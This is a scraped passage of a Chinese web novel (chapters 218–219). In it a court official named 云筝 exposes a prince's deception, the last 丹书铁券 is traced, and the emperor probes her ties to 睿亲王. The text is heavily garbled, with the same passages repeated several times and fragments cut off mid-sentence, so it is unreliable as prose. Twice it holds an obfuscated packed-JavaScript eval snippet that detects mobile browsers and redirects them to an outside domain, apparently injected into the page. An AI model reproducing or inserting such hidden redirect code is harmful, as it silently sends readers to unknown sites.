叶宜蓁不假思索的说道,“当然知道,他还给了我一支暗卫保护我,他很爱很爱我。” 她别提有多得意了,一副快要上天的样子。 江闻舟惊喜万分,在一边帮腔,“对,没错,我家蓁蓁人美性格好,人人都爱她,不像你,脾气又硬又蛮横,没人爱你。” 云筝翻了个白眼,故意问道,“那就是说,你早就知道你亲爹还活着,还当了皇帝?” 叶宜蓁迟疑了一下,随后理直气壮的说道,“他……身份特殊,不方便说,我能理解他。” 云筝嘴角轻扬,笑容灿烂无比。 就是不知道,大齐的皇帝能不能理解她呢。 叶宜蓁心里一颤,她不会又被云筝坑了吧?怎么有点不对劲? 但,她来不及细想了,云筝在嘲讽她。 “那你在大齐遭了这么大的罪,他怎么不派人来救你?他就这么疼爱你的?” “是没把你当一回事呢?还是,自始至终你只是一颗棋子?” 这戳中了叶宜蓁的肺管子,“你胡说。” 云筝火力全开,“你娘是大棋子,你是小棋子,用来转移焦点和搞事情用的,而他呢,左拥右抱,儿女成群,尽享天伦之乐。” 她的话太刺激人了,叶宜蓁气的浑身发抖,你才是小棋子,你全家都是小棋子。 永安面无人色,“他有孩子?” 云筝眨巴着眼睛,“当然,五子二女,美满着呢。” “奇怪,永宁你嫁给他十年,怎么只生了一女?真的是难产伤了身子?还是他做了什么手脚?” 永宁浑身剧震,嘴上却强硬的说道,“他 真心爱我。” 对了,云筝那么讨厌她们母女,她说的话怎么能信? 她无法相信,这是一个骗局,而她被蒙在鼓里,活的像个大笑话。 云筝哈哈一笑,“对,好爱,爱到把你千辛万苦生下来的女儿送到外面,明明是金尊玉贵的王府贵女,却当成瘦马般调教。” 学的都是怎么讨好驾驭男人,怎么察言观色,怎么利益最大化。 这是正常名门千金学的吗? “爱到瞒着你死遁,将你扔下,跑去跟公主成亲生娃了呢。” 她最后送出致命一击,“啊,对了,他的长子只比叶宜蓁小一岁哟。” 母女俩闻声色变,不敢置信,啥? 就是说,他早就搞出了孩子,却将孩子养在外面,是这个意思吗? “好有意思,叶宜蓁被扔去当瘦马,长子成了皇太子,谁才是真爱呢。” 永安浑身发抖,眼眶红了,却还在垂死挣扎,“我不信。” “云筝,我要见皇上,我有话要跟他说。” 云筝立马来了精神,“你说呗,我会转达的。” 永安深吸一口气,“我要看到确凿的证据,如果是真的,我告诉他一个天大的秘密。” 要证据?云筝早有准备,手里的的画卷徐徐展开,“喏,他们一家三口的画像。” 镇南王和月灵公主早已不是年轻时的模样,但,一个是手握权柄的意气风发,一个是后宫之主的雍容华贵,仿若一对璧人。 站在他们中间的是一个少年,身着太子服,眉眼像极了镇南王,下巴像月灵公主,一看就知是他们的孩子。 永安最后一丝仅存的希望被彻底击溃,失声尖叫,“王八蛋,我要杀了他,我对他那么好,他居然骗我!” 云筝可不想看她发疯,“什么秘密,快说。” 永安咬碎了银牙,目露恨意,“你去禀报皇上,就说,我知道镇南王府的丹书铁券在哪里,让他来见我。” 哇额,云筝的眼睛亮了。 轮椅上的厉无恙坐直了身体。 而,皇上精神一震,好啊,最后一块丹书铁券终于有消息了。 真心爱我。” 对了,云筝那么讨厌她们母女,她说的话怎么能信? 她无法相信,这是一个骗局,而她被蒙在鼓里,活的像个大笑话。 云筝哈哈一笑,“对,好爱,爱到把你千辛万苦生下来的女儿送到外面,明明是金尊玉贵的王府贵女,却当成瘦马般调教。” 学的都是怎么讨好驾驭男人,怎么察言观色,怎么利益最大化。 这是正常名门千金学的吗? “爱到瞒着你死遁,将你扔下,跑去跟公主成亲生娃了呢。” 她最后送出致命一击,“啊,对了,他的长子只比叶宜蓁小一岁哟。” 母女俩闻声色变,不敢置信,啥? 就是说,他早就搞出了孩子,却将孩子养在外面,是这个意思吗? “好有意思,叶宜蓁被扔去当瘦马,长子成了皇太子,谁才是真爱呢。” 永安浑身发抖,眼眶红了,却还在垂死挣扎,“我不信。” “云筝,我要见皇上,我有话要跟他说。” 云筝立马来了精神,“你说呗,我会转达的。” 永安深吸一口气,“我要看到确凿的证据,如果是真的,我告诉他一个天大的秘密。” 要证据?云筝早有准备,手里的的画卷徐徐展开,“喏,他们一家三口的画像。” 镇南王和月灵公主早已不是年轻时的模样,但,一个是手握权柄的意气风发,一个是后宫之主的雍容华贵,仿若一对璧人。 站在他们中间的是一个少年,身着太子服,眉眼像极了镇南王,下巴像月灵公主,一看就知是他们的孩子。 永安最后一丝仅存的希望被彻底击溃,失声尖叫,“王八蛋,我要杀了他,我对他那么好,他居然骗我!” 云筝可不想看她发疯,“什么秘密,快说。” 永安咬碎了银牙,目露恨意,“你去禀报皇上,就说,我知道镇南王府的丹书铁券在哪里,让他来见我。” 哇额,云筝的眼睛亮了。 轮椅上的厉无恙坐直了身体。 而,皇上精神一震,好啊,最后一块丹书铁券终于有消息了。 真心爱我。” 对了,云筝那么讨厌她们母女,她说的话怎么能信? 她无法相信,这是一个骗局,而她被蒙在鼓里,活的像个大笑话。 云筝哈哈一笑,“对,好爱,爱到把你千辛万苦生下来的女儿送到外面,明明是金尊玉贵的王府贵女,却当成瘦马般调教。” 学的都是怎么讨好驾驭男人,怎么察言观色,怎么利益最大化。 这是正常名门千金学的吗? “爱到瞒着你死遁,将你扔下,跑去跟公主成亲生娃了呢。” 她最后送出致命一击,“啊,对了,他的长子只比叶宜蓁小一岁哟。” 母女俩闻声色变,不敢置信,啥? 就是说,他早就搞出了孩子,却将孩子养在外面,是这个意思吗? “好有意思,叶宜蓁被扔去当瘦马,长子成了皇太子,谁才是真爱呢。” 永安浑身发抖,眼眶红了,却还在垂死挣扎,“我不信。” “云筝,我要见皇上,我有话要跟他说。” 云筝立马来了精神,“你说呗,我会转达的。” 永安深吸一口气,“我要看到确凿的证据,如果是真的,我告诉他一个天大的秘密。” 要证据?云筝早有准备,手里的的画卷徐徐展开,“喏,他们一家三口的画像。” 镇南王和月灵公主早已不是年轻时的模样,但,一个是手握权柄的意气风发,一个是后宫之主的雍容华贵,仿若一对璧人。 站在他们中间的是一个少年,身着太子服,眉眼像极了镇南王,下巴像月灵公主,一看就知是他们的孩子。 永安最后一丝仅存的希望被彻底击溃,失声尖叫,“王八蛋,我要杀了他,我对他那么好,他居然骗我!” 云筝可不想看她发疯,“什么秘密,快说。” 永安咬碎了银牙,目露恨意,“你去禀报皇上,就说,我知道镇南王府的丹书铁券在哪里,让他来见我。” 哇额,云筝的眼睛亮了。 轮椅上的厉无恙坐直了身体。 而,皇上精神一震,好啊,最后一块丹书铁券终于有消息了。 真心爱我。” 对了,云筝那么讨厌她们母女,她说的话怎么能信? 她无法相信,这是一个骗局,而她被蒙在鼓里,活的像个大笑话。 云筝哈哈一笑,“对,好爱,爱到把你千辛万苦生下来的女儿送到外面,明明是金尊玉贵的王府贵女,却当成瘦马般调教。” 学的都是怎么讨好驾驭男人,怎么察言观色,怎么利益最大化。 这是正常名门千金学的吗? “爱到瞒着你死遁,将你扔下,跑去跟公主成亲生娃了呢。” 她最后送出致命一击,“啊,对了,他的长子只比叶宜蓁小一岁哟。” 母女俩闻声色变,不敢置信,啥? 就是说,他早就搞出了孩子,却将孩子养在外面,是这个意思吗? “好有意思,叶宜蓁被扔去当瘦马,长子成了皇太子,谁才是真爱呢。” 永安浑身发抖,眼眶红了,却还在垂死挣扎,“我不信。” “云筝,我要见皇上,我有话要跟他说。” 云筝立马来了精神,“你说呗,我会转达的。” 永安深吸一口气,“我要看到确凿的证据,如果是真的,我告诉他一个天大的秘密。” 要证据?云筝早有准备,手里的的画卷徐徐展开,“喏,他们一家三口的画像。” 镇南王和月灵公主早已不是年轻时的模样,但,一个是手握权柄的意气风发,一个是后宫之主的雍容华贵,仿若一对璧人。 站在他们中间的是一个少年,身着太子服,眉眼像极了镇南王,下巴像月灵公主,一看就知是他们的孩子。 永安最后一丝仅存的希望被彻底击溃,失声尖叫,“王八蛋,我要杀了他,我对他那么好,他居然骗我!” 云筝可不想看她发疯,“什么秘密,快说。” 永安咬碎了银牙,目露恨意,“你去禀报皇上,就说,我知道镇南王府的丹书铁券在哪里,让他来见我。” 哇额,云筝的眼睛亮了。 轮椅上的厉无恙坐直了身体。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114478|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而,皇上精神一震,好啊,最后一块丹书铁券终于有消息了。 真心爱我。” 对了,云筝那么讨厌她们母女,她说的话怎么能信? 她无法相信,这是一个骗局,而她被蒙在鼓里,活的像个大笑话。 云筝哈哈一笑,“对,好爱,爱到把你千辛万苦生下来的女儿送到外面,明明是金尊玉贵的王府贵女,却当成瘦马般调教。” 学的都是怎么讨好驾驭男人,怎么察言观色,怎么利益最大化。 这是正常名门千金学的吗? “爱到瞒着你死遁,将你扔下,跑去跟公主成亲生娃了呢。” 她最后送出致命一击,“啊,对了,他的长子只比叶宜蓁小一岁哟。” 母女俩闻声色变,不敢置信,啥? 就是说,他早就搞出了孩子,却将孩子养在外面,是这个意思吗? “好有意思,叶宜蓁被扔去当瘦马,长子成了皇太子,谁才是真爱呢。” 永安浑身发抖,眼眶红了,却还在垂死挣扎,“我不信。” “云筝,我要见皇上,我有话要跟他说。” 云筝立马来了精神,“你说呗,我会转达的。” 永安深吸一口气,“我要看到确凿的证据,如果是真的,我告诉他一个天大的秘密。” 要证据?云筝早有准备,手里的的画卷徐徐展开,“喏,他们一家三口的画像。” 镇南王和月灵公主早已不是年轻时的模样,但,一个是手握权柄的意气风发,一个是后宫之主的雍容华贵,仿若一对璧人。 站在他们中间的是一个少年,身着太子服,眉眼像极了镇南王,下巴像月灵公主,一看就知是他们的孩子。 永安最后一丝仅存的希望被彻底击溃,失声尖叫,“王八蛋,我要杀了他,我对他那么好,他居然骗我!” 云筝可不想看她发疯,“什么秘密,快说。” 永安咬碎了银牙,目露恨意,“你去禀报皇上,就说,我知道镇南王府的丹书铁券在哪里,让他来见我。” 哇额,云筝的眼睛亮了。 轮椅上的厉无恙坐直了身体。 而,皇上精神一震,好啊,最后一块丹书铁券终于有消息了。 真心爱我。” 对了,云筝那么讨厌她们母女,她说的话怎么能信? 她无法相信,这是一个骗局,而她被蒙在鼓里,活的像个大笑话。 云筝哈哈一笑,“对,好爱,爱到把你千辛万苦生下来的女儿送到外面,明明是金尊玉贵的王府贵女,却当成瘦马般调教。” 学的都是怎么讨好驾驭男人,怎么察言观色,怎么利益最大化。 这是正常名门千金学的吗? “爱到瞒着你死遁,将你扔下,跑去跟公主成亲生娃了呢。” 她最后送出致命一击,“啊,对了,他的长子只比叶宜蓁小一岁哟。” 母女俩闻声色变,不敢置信,啥? 就是说,他早就搞出了孩子,却将孩子养在外面,是这个意思吗? “好有意思,叶宜蓁被扔去当瘦马,长子成了皇太子,谁才是真爱呢。” 永安浑身发抖,眼眶红了,却还在垂死挣扎,“我不信。” “云筝,我要见皇上,我有话要跟他说。” 云筝立马来了精神,“你说呗,我会转达的。” 永安深吸一口气,“我要看到确凿的证据,如果是真的,我告诉他一个天大的秘密。” 要证据?云筝早有准备,手里的的画卷徐徐展开,“喏,他们一家三口的画像。” 镇南王和月灵公主早已不是年轻时的模样,但,一个是手握权柄的意气风发,一个是后宫之主的雍容华贵,仿若一对璧人。 站在他们中间的是一个少年,身着太子服,眉眼像极了镇南王,下巴像月灵公主,一看就知是他们的孩子。 永安最后一丝仅存的希望被彻底击溃,失声尖叫,“王八蛋,我要杀了他,我对他那么好,他居然骗我!” 云筝可不想看她发疯,“什么秘密,快说。” 永安咬碎了银牙,目露恨意,“你去禀报皇上,就说,我知道镇南王府的丹书铁券在哪里,让他来见我。” 哇额,云筝的眼睛亮了。 轮椅上的厉无恙坐直了身体。 而,皇上精神一震,好啊,最后一块丹书铁券终于有消息了。 真心爱我。” 对了,云筝那么讨厌她们母女,她说的话怎么能信? 她无法相信,这是一个骗局,而她被蒙在鼓里,活的像个大笑话。 云筝哈哈一笑,“对,好爱,爱到把你千辛万苦生下来的女儿送到外面,明明是金尊玉贵的王府贵女,却当成瘦马般调教。” 学的都是怎么讨好驾驭男人,怎么察言观色,怎么利益最大化。 这是正常名门千金学的吗? “爱到瞒着你死遁,将你扔下,跑去跟公主成亲生娃了呢。” 她最后送出致命一击,“啊,对了,他的长子只比叶宜蓁小一岁哟。” 母女俩闻声色变,不敢置信,啥? 就是说,他早就搞出了孩子,却将孩子养在外面,是这个意思吗? “好有意思,叶宜蓁被扔去当瘦马,长子成了皇太子,谁才是真爱呢。” 永安浑身发抖,眼眶红了,却还在垂死挣扎,“我不信。” “云筝,我要见皇上,我有话要跟他说。” 云筝立马来了精神,“你说呗,我会转达的。” 永安深吸一口气,“我要看到确凿的证据,如果是真的,我告诉他一个天大的秘密。” 要证据?云筝早有准备,手里的的画卷徐徐展开,“喏,他们一家三口的画像。” 镇南王和月灵公主早已不是年轻时的模样,但,一个是手握权柄的意气风发,一个是后宫之主的雍容华贵,仿若一对璧人。 站在他们中间的是一个少年,身着太子服,眉眼像极了镇南王,下巴像月灵公主,一看就知是他们的孩子。 永安最后一丝仅存的希望被彻底击溃,失声尖叫,“王八蛋,我要杀了他,我对他那么好,他居然骗我!” 云筝可不想看她发疯,“什么秘密,快说。” 永安咬碎了银牙,目露恨意,“你去禀报皇上,就说,我知道镇南王府的丹书铁券在哪里,让他来见我。” 哇额,云筝的眼睛亮了。 轮椅上的厉无恙坐直了身体。 而,皇上精神一震,好啊,最后一块丹书铁券终于有消息了。 第218章 最后一块丹书铁券居然在她手里 “你怎么站着不动?赶紧去啊。” 云筝不语只是一味的看着暗处。 皇上从暗处走出来永安立马激动起来扑通一声跪下去“参见皇上。” 她经历了牢狱之灾身上那股骄横之色没了。 皇上满意的点头以后皇亲国戚谁犯了事就让他们来牢里待着。 “说吧。” 永安眼眶泛红 “丹书铁券在哪里?”皇上只想知道这一点。 永安沉默不语内心在挣扎皇上也不催就这么冷冷的看着她。 她心里一颤咬了咬牙“丹书铁券在我手里我愿意交给皇上只求下半生的荣华富贵。” 皇上神色莫名“好。” 他万万没想到最后一块丹书铁券在永安手里而且这么多年瞒的密不透风。 他这个皇姐也是一号人物啊。 云筝挑了挑眉皇室子弟天生会权衡利弊。 她看向叶宜蓁叶宜蓁还恍若不觉没有意识到永安只为自己求了荣华富贵。 “丹书铁券就藏在……”永安刚想说话就被叶宜蓁打断了。“娘等一下。” 皇上眉头一皱。 叶宜蓁没有注意到软软的撒娇道“娘我还想求一个郡主的爵位。” 永安神色复杂的看着她其他人都沉默。 叶宜蓁心中惴惴不安强撑着说道“我不是贪图富贵而是我的身份尴尬若没有爵位傍身恐怕难以在大齐立足。” 她好像忘了刚才一口一声你们皇帝没把自己当成大齐的子民。 皇上凉凉的说道“朕供不起邻国公主。” 云筝就知道皇上最记仇笑吟吟的说道“皇上那您送她去南粤当公主呗。” 叶宜蓁不禁急了“我不去我生是大齐的人死是大齐的鬼。” 南粤国人生地不熟的父皇下诏请她回去给足保障才能回否则没有好日子过。 “娘你快帮我求求情啊。” 永安一把推开她“你伙同你亲爹把我骗的好苦以后别叫我娘。” 叶宜蓁一 脸的懊恼,“娘,我刚才是骗云筝的,要是早知道亲爹是皇帝,谁愿意在这里苦哈哈的吃苦受罪?我早就去找他了。” “我刚才是故意刺激云筝,才编的瞎话。那支暗卫说是保护我,其实是监视我,让我帮他们办事。” “让我进平西侯府寻找丹书铁券,就是他们安排的,奶娘也是他们的人,我没有人身自由,被他们牢牢掌控在手里。” “娘,您只有我一个女儿,我们母女相依为命,而爹有好多子女,怎么可能在乎我的死活?” 永安依旧是沉默。 皇上淡淡的道,“想当大齐的郡主,也行。” 叶宜蓁的眼睛刷的亮了,“谢皇上,我就知道皇帝舅舅心肠最软,最看重亲情,血脉相连才是真真切切的。” 说就说呗,还瞟了云筝一眼,得意之情溢于言表。 云筝在心里暗骂,傻子,皇上是什么样的人,她不知道吗? 果然,皇上的声音响起,“无功不赏,你拿什么做投名状?” “呃?投名状?”叶宜蓁心里乱糟糟的,“我已经把那支暗卫全供出来了,没有一点隐瞒啊。” 皇上意味深长的看了她一眼,转头看向永安。 “丹书铁券在哪里?” 永安恭恭敬敬的回答,“我在山上别院设了一个小佛堂,安放了镇南王的牌位,丹书铁券就藏在里面。” 藏在牌位里?天才啊。 “去。”皇上一个眼神,几道黑影瞬间消失。 他就是想不明白,“丹书铁券怎么会落到你手里?” 永安脸上浮起一抹回忆之色,“父皇将我嫁去镇南王府,一是笼络和监视。二是,让我寻找那块丹书铁券。” “谁都没有想到,丹书铁券就藏在祠堂的牌匾后面,被我无意中发现了。” 皇上深深的看了她一眼,她不老实,丹书铁券哪有那么容易找到。 永安轻轻叹了一口气,“当时想着,将丹书铁券送给父皇,给自己留一条后路。后来我和王爷真心相爱了……” “扑哧。”云筝忍俊不禁,相爱?“镇南王就没有怀疑过你?” 永安苦笑一声,“怀疑的,试探过好几次,我都装傻充愣瞒过去了。” 烛光下,皇上的神色明明灭灭。 永安可怜巴巴的开口,“皇上,先放我们回去吧,这破地方不是人待的。” “您可以派人贴身盯着我,我哪都不去,若您的手下拿不到丹书铁券,我愿以死谢罪。” 皇上大手一挥,“来人,送她们回去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124598|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 母女俩喜出望外,终于可以离开这个鬼地方了。 云筝走在长长的甬道上,眼珠微转,“皇上,当年,镇南王府为什么不**?他背后有南粤国这个盟友啊。” 不懂就问。 皇上眼见最后一块丹书铁券就要到手,心情非常好,多了几分耐心。 “其一,当时他被朝廷严密防范着,还将公主下嫁盯着他的一举一动,**这么大的动静很难瞒过朝廷的耳目。” “其二,他一个藩王联合邻国**,占不住大义,朝野各方都不能容他。” **也得师出有名,否则谁敢拎着脑袋跟他干? “其三……”皇上看向了厉无恙。 厉无恙微微颌首,“皇上怀疑,镇南王府一直跟前朝皇室余孽有来往,特派我去查。” 云筝更不明白了,“啥?人都死绝了,还怎么来往?” 厉无恙淡淡的道,“前朝末年,最后一批皇室子孙逃到了南粤附近,是镇南王带兵一路追杀,他逼的前朝最后一位太子带着一家老小和部将全部跳了南滇海。” “而,镇南王因功封王。” 云筝脑海里闪过一道灵光,“所以,尸体没有全部找到?” 这有操作余地,全部死遁不可能,保一两个没有问题。 “对。” 云筝是聪明人,立马反应过来了。 她倒抽一口冷气,若真是这样,那朝廷一直猜忌防范着镇南王府是事出有因。 天色不早了,云筝向皇上告退。 厉无恙也跟着告退。 皇上深深的看了他们一眼,“九皇弟,你回王府休养吧。” “锦云,你且留一下,朕有事要问你。” 两人交换了一个眼色,“是。” 厉无恙头也不回的走了。 皇上笑吟吟的开口,“锦云,朕待你如何?” 云筝不假思索的回答,“皇上对臣恩重如山,若不是您的知遇之恩,我就不能好好的站在这里。” 皇上微微笑道,“那,朕就想听几句实话。” “是。” 皇上冷不防问道,“睿亲王回京,身负重伤却没有先回自己王府,也没有进宫面圣,而是先去沁园,你怎么看?” 云筝的心一紧,她担心的事情还是发生了。 第219章 她好癫! 云筝心里波涛汹涌,面上不变,“王爷向来爱凑热闹,当初我跟平西侯府世子成亲闹剧现场,他就在一边凑热闹。” 她顿了顿,白嫩的小脸满是疑惑,“这有什么问题吗?” 她的表情太自然了,皇上看不出一点异状,“那次是正好经过,而他这次是东城进,沁园在城西,横穿整个京城。” 云筝抿了抿嘴,迷惑不解的看看他,又看看大太监,似乎想要一个暗示。 大太监都不敢看她,生怕让皇上误会了什么,他真的没有被收买! 她费劲猜了半天,眉头微蹙,“皇上,您到底想说什么?直接点好吗?我笨,猜不出来。” 她太耿直了,反而让皇上到嘴边的话变了,“朕给你一个任务,睿亲王一直不肯成亲,你去劝劝他。” 这是明晃晃的试探。 谁知,云筝来了一句,“不要。” 皇上的眼睛危险的眯了起来,“你说什么?” 云筝理直气壮的说道,“睿亲王很有主见,皇上都劝不动他,我为什么要冒着被他讨厌的风险多管闲事?” “再说了,他成亲了对我没有好处。” 她的反应太出乎皇上的意料,反而勾起了他的好奇,“怎么说?” 云筝指了指自己,“我这么聪明伶俐,这么美丽能干,万一睿王妃心生嫉妒,大吹枕风头,离间我和睿亲王的关系,我就失了靠山啊。” 她臭不要脸的样子,让皇上怀疑自己是不是太多疑了。 心虚的人哪敢这样啊? “你想多了。” 云筝撇了撇小嘴,“就问,有没有这种可能?” 太有了! 皇上索性换了一个方向,“他不肯成亲,那你何时成亲?” 云筝认真思索了半晌,忽然眼睛一亮,“等我成为一品高官,堂堂正正站在朝堂时。” 皇上:……她真敢想! 本朝一品高官只有八个,三公(太师、太傅、太保),还有进入内阁的五名殿阁大学士。 而且,三公是虚职,内阁成员才是实权高官。 她这是要当阁老?!她咋不上天呢? 云筝眼巴巴的看着皇上,满眼的期待,“皇上,您要是想让我早日成亲,就满足我 的愿望吧。” 皇上气的直瞪眼,她想的真美! “滚蛋。” 云筝失望极了,气鼓鼓的转身,跑了。 才跑了两步,就被叫住,“回来。” 皇上的声音从身后响起,“你和睿亲王男未婚,女未嫁,要注意避嫌。” 差点被她转移了焦点。 云筝猛的转过头,一双乌黑的眼睛闪闪发亮,“君子坦荡荡,小人长戚戚,我心里没鬼,怕什么?” 皇上顿时恼了,“你这是跟朕唱反弹?” 云筝也不怕,“不敢,但,臣能说一句实话吗?” 皇上忍不住反省,他是不是太惯着她了?“说。” 云筝眼珠滴溜溜的转,“要不,您劝劝睿亲王,让他主动远离我?” “毕竟,我只是一个小小的官员,他是超品亲王,我要巴着他求着他,哪里敢跟他说,嗨,小子,滚远点!” 她只差明说,你管好自家弟弟嘛,干嘛只冲她使劲? 皇上:…… 可恶的丫头! “你对睿亲王就没有一点想法?”他不装了! 云筝一本正经的点头,“臣不敢欺君,爱美之心人皆有之,睿亲王俊美无俦,玉树临风,哪个正常女人见了不喜欢?” 她笑容俏皮,“我也是正常人啊,美色迷人眼,也想摸摸美人儿……” 皇上惊呆了,她在说什么鬼? “咳咳。”一边的大太监被口水呛着了,呛红了脸。 “奴才该死。” 妈呀,他是被锦云郡主惊到了。 她好疯,好癫! 皇上的心情复杂到了极点,“锦云,你好大的胆子。” 云筝嬉皮笑脸的说道,“想归想,但我空有贼心没有贼胆,皇上啊,要不,您赐几个好看的美男给我?十个八个不嫌多,三个四个不嫌少。” 这下子,轮到皇上被呛着了。 死丫头,好色之徒!云展鹏到底怎么教养女儿的? 不对,以前还挺正常的,当了官后就变了,尽跟内务府官油子学些不好的。 “你是女的!朕若赐美男给你,满朝文武要疯,朕的清名还要不要了?” 云筝还 委屈上了,“官员们左拥右抱,妻妾成群,我为什么不行?我也是当官的!” 一时之间,皇上头痛欲裂,“朕召你入宫,可好?” 这妖孽放在外面太危险了,还是他收了吧。 云筝眼睛一瞪,“不好,我连叶宜蓁一个女人都容不下,更不要说那么多嫔妃。” 她气呼呼的说道,“我要进了宫,第一步就是拳打六宫,天天打架**,将后宫搅的鸡犬不宁。” “谁让我不好过,我让他全家不好过。” 皇上:…… 云筝还嫌不够刺激,“第二步,我有的是钱,收买宫人为我所用,再勾结朝中大臣,里应外合,后宫干政。” 明知她胡说八道,但皇上还是被气炸了,“大逆不道。” “给朕滚!” 他还想多活几年! 云筝麻溜的滚了,出了宫,进了自家的马车,脸上混不吝的笑容落了下来。 这才发现,后背的衣服被冷汗打湿了,伴君如伴虎。 她无声的叹气,这一关暂时算是过了。 但,皇上起了猜忌之心,是不会轻易打消的。 不行,得想想办法。 养心殿,皇上好不容易缓过来,“大伴,你说,锦云这么坦荡,两人之间真的没有猫腻?” 以前没有注意的细节都浮现在心头,越想越觉得不对劲。 大太监小心翼翼的开口,“皇上,要不,你问问睿亲王?” 皇上不假思索的摇头,“不行,他会生气,你去问。” 大太监:……所以,他是那个倒霉蛋喽?让他多嘴! “是。” 大太监走了两步,就被皇上叫住了,“回来。” “算了,再看看情况。” 深夜,云筝还没有入睡,坐在窗边看月光,手边是两杯清茶。 一道黑影翩然而至,“筝儿。” 是厉无恙,一身玄衣跟暗夜仿若浑然一体。 云筝没有意外,将茶杯递了过去,他很自然接过来喝了一口润润喉。 “皇上怎么突然起疑心了?” 云筝微微抿嘴,“他又不傻,要不,以后避点嫌?” 厉无恙一把拉住她的手,“怎么避?我们见面本来就少,我还想天天见到你。” “可是,我有点担心……” 厉无恙轻轻搂住她,满眼的温柔,“别怕,一切有我。” “你有办法?” “借势。”厉无恙嘴角扬起一抹淡笑,自信而又从容。 “我们借一借贵妃和雷家的东风。” 听完厉无恙的计划,云筝双目圆睁,兴奋莫名。 嗯,有点缺德,但好用啊! 干! 委屈上了,“官员们左拥右抱,妻妾成群,我为什么不行?我也是当官的!” 一时之间,皇上头痛欲裂,“朕召你入宫,可好?” 这妖孽放在外面太危险了,还是他收了吧。 云筝眼睛一瞪,“不好,我连叶宜蓁一个女人都容不下,更不要说那么多嫔妃。” 她气呼呼的说道,“我要进了宫,第一步就是拳打六宫,天天打架**,将后宫搅的鸡犬不宁。” “谁让我不好过,我让他全家不好过。” 皇上:…… 云筝还嫌不够刺激,“第二步,我有的是钱,收买宫人为我所用,再勾结朝中大臣,里应外合,后宫干政。” 明知她胡说八道,但皇上还是被气炸了,“大逆不道。” “给朕滚!” 他还想多活几年! 云筝麻溜的滚了,出了宫,进了自家的马车,脸上混不吝的笑容落了下来。 这才发现,后背的衣服被冷汗打湿了,伴君如伴虎。 她无声的叹气,这一关暂时算是过了。 但,皇上起了猜忌之心,是不会轻易打消的。 不行,得想想办法。 养心殿,皇上好不容易缓过来,“大伴,你说,锦云这么坦荡,两人之间真的没有猫腻?” 以前没有注意的细节都浮现在心头,越想越觉得不对劲。 大太监小心翼翼的开口,“皇上,要不,你问问睿亲王?” 皇上不假思索的摇头,“不行,他会生气,你去问。” 大太监:……所以,他是那个倒霉蛋喽?让他多嘴! “是。” 大太监走了两步,就被皇上叫住了,“回来。” “算了,再看看情况。” 深夜,云筝还没有入睡,坐在窗边看月光,手边是两杯清茶。 一道黑影翩然而至,“筝儿。” 是厉无恙,一身玄衣跟暗夜仿若浑然一体。 云筝没有意外,将茶杯递了过去,他很自然接过来喝了一口润润喉。 “皇上怎么突然起疑心了?” 云筝微微抿嘴,“他又不傻,要不,以后避点嫌?” 厉无恙一把拉住她的手,“怎么避?我们见面本来就少,我还想天天见到你。” “可是,我有点担心……” 厉无恙轻轻搂住她,满眼的温柔,“别怕,一切有我。” “你有办法?” “借势。”厉无恙嘴角扬起一抹淡笑,自信而又从容。 “我们借一借贵妃和雷家的东风。” 听完厉无恙的计划,云筝双目圆睁,兴奋莫名。 嗯,有点缺德,但好用啊! 干! 委屈上了,“官员们左拥右抱,妻妾成群,我为什么不行?我也是当官的!” 一时之间,皇上头痛欲裂,“朕召你入宫,可好?” 这妖孽放在外面太危险了,还是他收了吧。 云筝眼睛一瞪,“不好,我连叶宜蓁一个女人都容不下,更不要说那么多嫔妃。” 她气呼呼的说道,“我要进了宫,第一步就是拳打六宫,天天打架**,将后宫搅的鸡犬不宁。” “谁让我不好过,我让他全家不好过。” 皇上:…… 云筝还嫌不够刺激,“第二步,我有的是钱,收买宫人为我所用,再勾结朝中大臣,里应外合,后宫干政。” 明知她胡说八道,但皇上还是被气炸了,“大逆不道。” “给朕滚!” 他还想多活几年! 云筝麻溜的滚了,出了宫,进了自家的马车,脸上混不吝的笑容落了下来。 这才发现,后背的衣服被冷汗打湿了,伴君如伴虎。 她无声的叹气,这一关暂时算是过了。 但,皇上起了猜忌之心,是不会轻易打消的。 不行,得想想办法。 养心殿,皇上好不容易缓过来,“大伴,你说,锦云这么坦荡,两人之间真的没有猫腻?” 以前没有注意的细节都浮现在心头,越想越觉得不对劲。 大太监小心翼翼的开口,“皇上,要不,你问问睿亲王?” 皇上不假思索的摇头,“不行,他会生气,你去问。” 大太监:……所以,他是那个倒霉蛋喽?让他多嘴! “是。” 大太监走了两步,就被皇上叫住了,“回来。” “算了,再看看情况。” 深夜,云筝还没有入睡,坐在窗边看月光,手边是两杯清茶。 一道黑影翩然而至,“筝儿。” 是厉无恙,一身玄衣跟暗夜仿若浑然一体。 云筝没有意外,将茶杯递了过去,他很自然接过来喝了一口润润喉。 “皇上怎么突然起疑心了?” 云筝微微抿嘴,“他又不傻,要不,以后避点嫌?” 厉无恙一把拉住她的手,“怎么避?我们见面本来就少,我还想天天见到你。” “可是,我有点担心……” 厉无恙轻轻搂住她,满眼的温柔,“别怕,一切有我。” “你有办法?” “借势。”厉无恙嘴角扬起一抹淡笑,自信而又从容。 “我们借一借贵妃和雷家的东风。” 听完厉无恙的计划,云筝双目圆睁,兴奋莫名。 嗯,有点缺德,但好用啊! 干! 委屈上了,“官员们左拥右抱,妻妾成群,我为什么不行?我也是当官的!” 一时之间,皇上头痛欲裂,“朕召你入宫,可好?” 